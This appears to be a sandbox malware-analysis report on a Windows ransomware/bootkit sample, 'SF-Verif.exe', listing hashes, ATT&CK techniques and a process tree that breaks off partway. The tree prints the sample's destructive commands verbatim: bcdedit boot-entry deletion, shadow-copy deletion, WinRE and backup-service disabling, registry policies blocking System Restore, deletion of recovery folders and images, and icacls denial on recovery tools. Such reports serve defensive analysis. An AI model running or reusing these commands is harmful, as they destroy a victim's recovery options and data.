676548b58279f3f5bd7099a0953539839fb98f4bf3957bf18618f36c72c09e5c

Analysis

max time kernel
0s
max time network
41s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
23/05/2026, 23:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
SF-Verif.exe
Size 668KB
Sample260523-22kc4sfs21
SHA256 676548b58279f3f5bd7099a0953539839fb98f4bf3957bf18618f36c72c09e5c
MD5 7468abcc71590e734af11a9f819bcd9b
SHA1 3d8a68e97a26f43abb670b341a34d027c5c43fdf
SHA512 ed1617be3123afcb585ec88e601997cdc7914c210ac61d573daf84d381283e865c65ae0c6c8526d0a7e8fddf6141293c836da68fdc3abc36b1bcbc93ed028f91
SSDEEP 12288:++Uk1O0qYlSf50VtKlNBrV2IzR2th83EH:++8Yl450Onr2I12th83E
TLSH
T10DE4183AF71219ADC05F037B85A587E195902685F734A5B702B48E53BAE34C24F3AFC2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion discovery evasion execution impact persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 22 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
796	bcdedit.exe
2212	bcdedit.exe
2544	bcdedit.exe
4148	bcdedit.exe
3932	bcdedit.exe
2404	bcdedit.exe
1432	bcdedit.exe
3452	bcdedit.exe
2504	bcdedit.exe
5016	bcdedit.exe
1936	bcdedit.exe
4032	bcdedit.exe
4400	bcdedit.exe
3500	bcdedit.exe
4920	bcdedit.exe
4640	bcdedit.exe
5440	bcdedit.exe
5764	bcdedit.exe
5260	bcdedit.exe
5288	bcdedit.exe
6140	bcdedit.exe
5704	bcdedit.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4468	icacls.exe
3992	icacls.exe
1668	icacls.exe
2648	icacls.exe
2348	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Indicator Removal: Clear Persistence 1 TTPs 3 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1932	cmd.exe
4516	cmd.exe
3740	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	SF-Verif.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4776	sc.exe
4032	sc.exe
2708	sc.exe
2096	sc.exe
4328	sc.exe
5060	sc.exe
5008	sc.exe
2660	sc.exe
4144	sc.exe
4948	sc.exe
304	sc.exe
4588	sc.exe
444	sc.exe
1664	sc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3412	msedge.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3336	vssadmin.exe
2204	vssadmin.exe
5676	vssadmin.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
5400	taskkill.exe
3724	taskkill.exe
5700	taskkill.exe
5148	taskkill.exe
5500	taskkill.exe
1316	taskkill.exe
5668	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3884	reg.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 804	2128	SF-Verif.exe	80
PID 2128 wrote to memory of 4784	2128	SF-Verif.exe	82
PID 4784 wrote to memory of 796	4784	cmd.exe	84
PID 2128 wrote to memory of 1648	2128	SF-Verif.exe	85
PID 1648 wrote to memory of 2212	1648	cmd.exe	87
PID 2128 wrote to memory of 3788	2128	SF-Verif.exe	88
PID 3788 wrote to memory of 2544	3788	cmd.exe	90
PID 2128 wrote to memory of 4432	2128	SF-Verif.exe	91

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
804	attrib.exe
4704	attrib.exe
864	attrib.exe

C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe
"C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
  2⤵
  - Views/modifies file attributes
  PID:804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  PID:4432
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:3256
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:2056
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:2104
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:2800
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:4544
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:4852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:1660
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:2248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:2240
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:920
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:4560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:4496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:3024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:1076
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:5104
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:1716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:772
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
    3⤵
    PID:988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:4300
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:4164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:392
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:1832
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:4292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:2692
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:4776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:4464
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:4032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:3980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:1112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:2916
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:5008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:3840
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:2660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:4620
- - C:\Windows\system32\sc.exe
    sc stop "SDRSVC"
    3⤵
    - Launches sc.exe
    PID:2708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "SDRSVC" start= disabled 2>nul
  2⤵
  PID:1180
- - C:\Windows\system32\sc.exe
    sc config "SDRSVC" start= disabled
    3⤵
    - Launches sc.exe
    PID:2096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "VSS" 2>nul
  2⤵
  PID:2852
- - C:\Windows\system32\sc.exe
    sc stop "VSS"
    3⤵
    - Launches sc.exe
    PID:4328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "VSS" start= disabled 2>nul
  2⤵
  PID:1548
- - C:\Windows\system32\sc.exe
    sc config "VSS" start= disabled
    3⤵
    - Launches sc.exe
    PID:4144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "swprv" 2>nul
  2⤵
  PID:2688
- - C:\Windows\system32\sc.exe
    sc stop "swprv"
    3⤵
    - Launches sc.exe
    PID:4948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "swprv" start= disabled 2>nul
  2⤵
  PID:3196
- - C:\Windows\system32\sc.exe
    sc config "swprv" start= disabled
    3⤵
    - Launches sc.exe
    PID:304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "vds" 2>nul
  2⤵
  PID:2444
- - C:\Windows\system32\sc.exe
    sc stop "vds"
    3⤵
    - Launches sc.exe
    PID:5060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "vds" start= disabled 2>nul
  2⤵
  PID:5080
- - C:\Windows\system32\sc.exe
    sc config "vds" start= disabled
    3⤵
    - Launches sc.exe
    PID:4588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "Winmgmt" 2>nul
  2⤵
  PID:2924
- - C:\Windows\system32\sc.exe
    sc stop "Winmgmt"
    3⤵
    - Launches sc.exe
    PID:444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "Winmgmt" start= disabled 2>nul
  2⤵
  PID:2772
- - C:\Windows\system32\sc.exe
    sc config "Winmgmt" start= disabled
    3⤵
    - Launches sc.exe
    PID:1664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:1376
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f
    3⤵
    PID:4704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:1052
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:4412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:1728
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:4892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f 2>nul
  2⤵
  PID:2044
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f
    3⤵
    PID:2468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootmenupolicy standard 2>nul
  2⤵
  PID:404
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootmenupolicy standard
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No 2>nul
  2⤵
  PID:3288
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no 2>nul
  2⤵
  PID:3708
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} displaybootmenu no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} timeout 0 2>nul
  2⤵
  PID:2860
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} timeout 0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false 2>nul
  2⤵
  PID:4532
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false 2>nul
  2⤵
  PID:2448
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1932
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f
    3⤵
    PID:3892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4516
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f
    3⤵
    PID:4664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3740
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f
    3⤵
    PID:1816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.wim" 2>nul
  2⤵
  PID:4988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.esd" 2>nul
  2⤵
  PID:3440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:2392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\$WinREAgent" 2>nul
  2⤵
  PID:3452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:4956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.wim" 2>nul
  2⤵
  PID:3960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.esd" 2>nul
  2⤵
  PID:1848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:4920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\$WinREAgent" 2>nul
  2⤵
  PID:4004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\Recovery" 2>nul
  2⤵
  PID:1080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:4588
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:2648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2576
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:2348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:1424
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:4468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:1476
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:3992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:1536
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:1668
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:4704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67.html
  2⤵
  PID:2204
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7ff889b7c188,0x7ff889b7c194,0x7ff889b7c1a0
    3⤵
    PID:4936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1724,i,2527245135000800114,13779025862965903793,524288 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=2732 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3412
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1608,i,14791193658010338752,17582831508680477956,262144 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=2696 /prefetch:2
    3⤵
    PID:1112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2124,i,3897313491471540188,17364947069215529354,524288 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=3064 /prefetch:13
    3⤵
    PID:2672
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3484,i,690246666673865956,17068980695720543454,2097152 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
    3⤵
    PID:400
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3488,i,14397446832020755168,13144207426095002726,2097152 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
    3⤵
    PID:1976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4176,i,10068946045261196212,4229104962227600328,2097152 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=4236 /prefetch:1
    3⤵
    PID:2152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4172,i,8728570909385943516,12019223508802405036,2097152 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:9
    3⤵
    PID:1560
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4332,i,2525345102403471305,5043899049312193303,2097152 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:9
    3⤵
    PID:1080
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4320,i,4695775708291468351,15195188320894686163,2097152 --field-trial-handle=2700,i,13559317156030587260,14435584309498007899,262144 --variations-seed-version --mojo-platform-channel-handle=4840 /prefetch:1
    3⤵
    PID:4560
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
